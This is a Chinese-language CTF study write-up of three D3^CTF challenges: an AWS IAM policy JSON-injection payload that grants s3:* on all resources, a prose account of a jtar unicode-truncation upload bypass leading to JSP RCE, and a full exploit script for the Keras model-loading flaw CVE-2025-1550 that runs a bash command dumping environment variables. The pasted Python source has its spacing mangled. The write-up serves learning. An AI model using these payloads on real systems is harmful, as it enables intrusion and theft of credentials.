D3^CTF 复现学习：

d3invitation

考点： AWS IAM（Identity and Access Management）策略 json 注入

看官方wp和问ai很清楚了，

由于session_token里的可访问内容是可由用户控制的，所以能用文件名来控制session_token  

实现注入访问  

注意在json里要包含双引号的话要用\来转义  如 "\

接下来使用这个 STS 临时凭证访问 MinIO 的 api 接口即可拿到 flag

进行访问为例

问题是我不会用mc连接

payload:

"*\" ]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"

在json中要添加双引号字符需要用\来转义

d3jtar

这题docker搭出来有问题，直接看官方wp吧：

解题的关键在于工具类 Backup 所使用的 jtar 打包库。在使用

jtar 的 TarOutputStream 打包文件时，它会把文件名中的 unicode 强制转化为 ascii 码，

从而发生字符截断。利用这一点，我们可以将后缀带有特定 unicode 字符的文件上传

至靶机，绕过后缀黑名单检查，通过备份与恢复功能将上传的文件转变为 jsp 后缀的文

件并放回 jsp 可解析目录，最终 RCE 获取 flag

d3model

考点：Keras 模型文件的安全性问题

源码：

import keras

from flask import Flask, request, jsonify

import os



defis_valid_model(modelname):

    try:

        keras.models.load_model(modelname)

    except:

        returnFalse

    returnTrue


app = Flask(__name__)


@app.route('/', methods=['GET'])

defindex():

    returnopen('index.html').read()



@app.route('/upload', methods=['POST'])

defupload_file():

    if'file'notin request.files:

        return jsonify({'error': 'No file part'}), 400

  

    file = request.files['file']

  

    if file.filename == '':

        return jsonify({'error': 'No selected file'}), 400

  

    MAX_FILE_SIZE = 50 * 1024 * 1024  # 50MB

    file.seek(0, os.SEEK_END)

    file_size = file.tell()

    file.seek(0)

  

    if file_size > MAX_FILE_SIZE:

        return jsonify({'error': 'File size exceeds 50MB limit'}), 400

  

    filepath = os.path.join('./', 'test.keras')

    if os.path.exists(filepath):

        os.remove(filepath)

    file.save(filepath)

  

    if is_valid_model(filepath):

        return jsonify({'message': 'Model is valid'}), 200

    else:

        return jsonify({'error': 'Invalid model file'}), 400


if__name__ == '__main__':

    app.run(host='0.0.0.0', port=5000)

没接触过

但是原理wp上给了：

此题目基于 CVE-2025-1550.

当调用函数 keras.models.load_model 加载恶意 keras 文件时，其中特殊构造的

config.json 可以触发 RCE (Remote Code Execution).

上网找exp即可：

import os

import zipfile

import json

from keras.models import Sequential

from keras.layers import Dense

import numpy as np


model_name = "test.keras"


x_train = np.random.rand(100, 28 * 28)

y_train = np.random.rand(100)


model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])


model.compile(optimizer='adam', loss='mse')

model.fit(x_train, y_train, epochs=5)

model.save(model_name)


with zipfile.ZipFile(model_name, "r") as f:

    config = json.loads(f.read("config.json").decode())


config["config"]["layers"][0]["module"] = "keras.models"

config["config"]["layers"][0]["class_name"] = "Model"

config["config"]["layers"][0]["config"] = {

    "name": "mvlttt",

    "layers": [

        {

            "name": "mvlttt",

            "class_name": "function",

            "config": "Popen",

            "module": "subprocess",

            "inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]

        }],

    "input_layers": [["mvlttt", 0, 0]],

    "output_layers": [["mvlttt", 0, 0]]

}


with zipfile.ZipFile(model_name, 'r') as zip_read:

    with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:

        for item in zip_read.infolist():

            if item.filename != "config.json":

                zip_write.writestr(item, zip_read.read(item.filename))


os.remove(model_name)

os.rename(f"tmp.{model_name}", model_name)


with zipfile.ZipFile(model_name, "a") as zf:

    zf.writestr("config.json", json.dumps(config))


print("[+] Malicious model ready")